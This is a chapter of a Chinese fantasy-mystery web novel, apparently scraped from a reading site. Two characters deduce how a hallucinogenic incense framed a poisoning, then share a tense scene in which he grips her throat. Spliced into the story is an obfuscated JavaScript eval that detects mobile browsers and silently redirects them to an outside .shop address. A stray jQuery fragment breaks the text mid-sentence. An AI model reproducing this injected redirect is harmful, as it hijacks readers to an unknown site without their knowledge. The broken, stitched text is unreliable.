文趣网 > 其他小说 > 十里长剑拭春风 > 20.枕中烟
    曲夭夭竖起两指,便见一张橙黄的符纸被夹在指间。而随后她手腕一旋,那符纸竟是化作一块橙红色的圆饼状物件来,静静躺在掌心。

    这物件不到两指宽,其圆心还有着一口小洞。看模样,倒像是个红玉平安扣。

    她将那平安扣递给陆兴怀,直道:“既然凶手的目标是乔小姐,而现下乔小姐又相安无事,那么保不准日后,凶手还会再犯。”

    “这是我用传讯符,混入自己的灵气所化。”曲夭夭看着男人,认真道,“陆大人将它交予乔小姐,如若再遇危险,直接捏碎了就好。”

    “而到时我会赶来……”她的眸光渐沉,又加重了语调,“将这害人的凶手,绳之以法。”

    “好,好!陆某,在此谢过郡主了。”陆兴怀微微俯身,双手接过平安扣,又道,“那郡主,我就先去见嫣儿了?”

    “去吧。”曲夭夭浅浅一笑。

    这回陆兴怀真是迫不及待地要跑开了,惊得檐下风铎轻轻一晃。而男人倒还不忘对着门口那丫鬟嘱咐几句,叫她先来招待二人。

    “你也是乔小姐身边的丫鬟?”曲夭夭问。

    那丫鬟点点头:“是的,郡主。”

    “我还有一事很好奇。”曲夭夭想了想,道。

    而丫鬟也恭敬回道:“郡主请讲。”

    “你们陆大人说……是乔小姐要杜玉亭送去吃食的,而那吃食又是乔小姐自己做的。”曲夭夭指骨轻抵唇边,“反正乔小姐后面都再去了趟书房,那为什么这吃食她不自己送?”

    “今早乔小姐刚和我们说了,她根本没做什么吃食。”丫鬟一五一十道,“我们都以为,是杜玉亭撒的谎呢。”

    “陆大人不知道?”李不旬忽而问道。

    丫鬟摇了摇头:“乔小姐还在气头上,没和陆大人说过话。那陆大人……想来是不知道的。”

    “还有……”曲夭夭又道,“乔小姐还未过门吧?那既未过门,又为何住在夫家?”

    “回郡主。”丫鬟老实答道,“乔小姐与陆大人自幼就相识了,情同手足。可乔家人大多死于魔兽之口,因而家道中落。”

    “陆大人,就将乔小姐接来陆府了。”

    曲夭夭眉间一蹙:“又是魔兽……”

    玄渊的煞气不断,这魔兽就永远杀不完。

    “行了,你且先退下吧。”曲夭夭敛去神色,平静地道,“我还有事,要同李公子商量。”

    丫鬟闻言,微微屈膝,出了门。

    “哦?”李不旬挑了眉,饶有滋味道,“郡主同我,还有何事商量?”

    “其实我刚刚说的,还有一处漏洞。”曲夭夭径自道,“既然凶手的目的是为了让乔小姐有动机自尽,那醉红颜已然足矣,再添个什么迷幻香,岂不是多此一举?”

    “郡主有所不知。”李不旬悠悠开口道,“这香,名字叫做枕中烟。如梦似幻,又似梦非幻。顾名思义呢,就是它可以诱人入梦,也可使人致幻。”

    “根据方才那丫鬟所说,我猜,是凶手先假扮成了乔嫣,再让杜玉亭,给陆兴怀送去下了醉红颜的膳食。”

    “而杜玉亭本就是乔嫣身边的丫鬟,再加上她自己可能也会挑明。所以陆兴怀也就自然而然的,认为这膳食,就是乔嫣给自己做的。”

    曲夭夭一摇头,问道:“可他二人自幼相识,陆兴怀……可能连乔嫣的手艺都吃不出吗?”

    “这确实不大可能。”李不旬亦扬唇,又道,“所以,枕中烟就派上用场了。”

    “我知道了。”曲夭夭倏尔抬首,直看向身旁的李不旬,“凶手是在杜玉亭的身上抹了枕中烟,结果却落了些在屏风上了。”

    她说着,便伸手揉了揉坐在肩上的小纸人,笑道:“小红,你可真是帮大忙了。”

    而小红耸了肩,似是被夸得有些不好意思。

    曲夭夭却接着道:“所以,李不旬,你的意思是……如若陆兴怀入梦,醒来后便有醉红颜作为证据。而如若陆兴怀致幻,那他就吃不出食物根本不是乔嫣做的,从而药性发作,真的与杜玉亭发生了什么。”

    “而凶手的目标是乔嫣,所以在乔嫣赶到书房时……若是第一种,凶手便会设法让乔嫣致幻而非入梦。”曲夭夭顿了顿,继续道,“若是第二种,那就……已知杜玉亭是入了梦,那她就根本没有能力反抗。”

    至此,李不旬轻轻“嗯”了一声:“是这样。”

    而曲夭夭仍怀疑道:“可你方才为何如此笃定,那天晚上,陆兴怀与杜玉亭……真的没有发生什么?”

    “我并不清楚那天晚上他是入梦还是致幻。”

    “什么?”曲夭夭惊道,“你骗了他?”

    “是,我是骗了他。”李不旬坦然道,“曲夭夭,有时候真相呢,其实不一定重要。”

    “重要的是陆兴怀现在,不用再背负对乔嫣的歉疚。而杜玉亭呢,她也不用失了清白。”

    “那么究竟是入梦还是致幻,就不重要了。”

    叮——铃——

    檐角挂着的老旧风铎清脆地响了,像是暗角缝隙里初生的嫩芽,一丝阳光不偏不倚打了上来。

    随之,那股微凉的风便探过书房半掩的门,朵朵粉白花瓣打旋散入,又轻飘飘地落在少女纱质的裙边。

    而清风拂过少女的面,将她那额发吹得凌乱。

    彼时少男就静立眼前,曲夭夭愣了好一会,半晌才撇过头去,硬气道:“李公子能说出这话来,倒还真叫我意外。”

    “彼此彼此。”李不旬笑着,仍悠然自得道,“郡主不也选在陆兴怀走后,才提出疏漏。”

    “不过我还有更意外的。”曲夭夭忽而拉过他的右手,举了起来,冷冷开口,“李公子的血就这么宝贝,还能够救人性命?”

    只见他那腕间的一道伤痕,早已结了痂。

    李不旬眼底闪过一瞬的错愕,旋即便沉下声来看着她道:“你早就知道了?”

    “不,我是才知道的。”曲夭夭毫不避讳地看了回去,倒是波澜不惊。

    而李不旬嘴角抽了抽:“曲夭夭,你诈我?”

    “诈?”曲夭夭好笑道,“都说吃一堑长一智,看来李公子先前吃了一堑不够,这次再吃,还不够?”

    随即,李不旬眸中的诧异渐渐淡去,霎时变得阴沉而冷厉。平日里慵懒随性惯了,倒叫人忘了,他原就是一汪深潭。

    摸不透,看不清,深不见底。

    李不旬顺势掐住曲夭夭的下颌,就用那右手,叫她不禁仰起头来,只能被迫着看向自己。

    “知道的这么多,就不怕我杀你灭口?”他道。

    风钻过窗隙入室,呼呼吹着。曲夭夭的手却还停留在原处不动,倒因李不旬忽然的动作,顺着他干练的小臂,向后滑了几许。

    肩膀上的纸人也被吓得浑身一颤,但还是扑了上去,就扒拉着李不旬那因紧绷着而青筋微凸的手。可待对上他那张满带寒意的面庞,小红倒又瑟缩着身子,缓缓滑落至曲夭夭的袖口,迅速躲了进去。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702159|205129||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    李不旬的视线直勾勾地落在曲夭夭的身上,也映在她那双乱神的眼中。亦如其记忆里白茫茫的,无边无际的寒雪之地。

    诡面万象里,眼前人也是用这右手执剑,一剑刺穿了曲夭夭。而现在,这只右手,竟正掐在她的颊边。

    可……不对。

    伤口在右腕上,他分明是左撇子。

    曲夭夭皱了眉。

    从她认识李不旬到现在,他一直都是用左手持枪,用左手舞剑,用左手写字,用左手拿起自己做的酿花糕。

    李不旬的惯用手是左手,可在诡面万象的预言中,他却是用右手剑杀了自己……那,也许在雪夜里杀了曲夭夭的,根本就不是李不旬。

    或者,是有人假扮成了他?

    可那又是谁?

    曲夭夭自嘲般地低声笑了笑。

    眼前的这个李不旬,从始至终使的剑招,至少在曲夭夭面前,皆是她所创的剑法——春风不度。

    而春风不度,很显然是主右手的剑法。但李不旬他一个左撇子,不仅能够偷师得到,还能够作镜像学习,左右手调转。

    再者说春风不度二月亮相,他三月就能拿出翻转版并将其练得炉火纯青,出神入化。

    他到底……还藏了多少?

    曲夭夭轻轻呼了口气,很快就恢复平静,只垂了眼望向那腕间的伤疤。而随即,她白皙的手却是缩了回来,同时又攀上另一只。至此双手一齐按在李不旬的腕上,便带着那掐着自己下颌的桎梏,缓缓向下移去。

    风还在吹,可她的眼里却似有茫然。

    曲夭夭就握着李不旬的手,带着他下移至自己的颈部。阳光将二人身影投射在屏风上,正像她的喉咙被人死死扼住,无法挣脱,也毫无还手之力。

    彼时,书房的门被风轻轻一带,关上了。

    只见少女微微张开十指,而李不旬却眉头一拧,于是乎瞬间卸力,紧接着便想将手收回。可其腕间竟又被紧紧一握,猛地被她一把拉了过去,再次死死按在喉前。

    不经意压到的伤口,痛感似被放大了数百倍。

    “曲夭夭。”李不旬一字一句从牙缝中挤出,沉着声就道,“你真的是找死。”

    曲夭夭不语,那双握在李不旬腕上的手松开了,随后便颤抖着缓缓垂在身侧。

    “你真的会杀我吗?”她这样问,而看向李不旬的视线甚至都没有半分偏移。

    李不旬闻言冷笑一声:“你就没带怕的吗?”

    “我当然怕。”曲夭夭答得很快,依旧平静地道,“怕自己死得不明不白。”

    李不旬那在她颈间的手只是虚虚握着,指尖偶尔触到动脉,便忽而感受到内里流淌的血液,和跃动不止的心跳,这都是那般的脆弱。

    可偏偏又是这样的脆弱,叫李不旬从触碰到曲夭夭的指尖开始,如火的滚烫就迅速蔓延至全身。

    是时他只觉得,时间也从那时起,仿佛过得很慢很慢。似足以叫少女身上的火焰,完全啃食他每一寸肌肤下的血肉。

    李不旬双唇轻轻动了动,却又没能说些什么地缓缓闭上了。而最后,只手掌一翻绕到曲夭夭的后颈,旋即猛然将其拉近,俯身凑到她的耳边。

    二人靠得极近,以至于那人温热的呼吸都能径直喷在曲夭夭的耳廓,带来的一阵阵痒意叫她忍不住缩了下脖子。

    “曲夭夭你听好了。”她看不见他的眉眼忽而暗沉,却听李不旬肃然道,“我不会杀你。”

    “也绝不会让这种事发生。”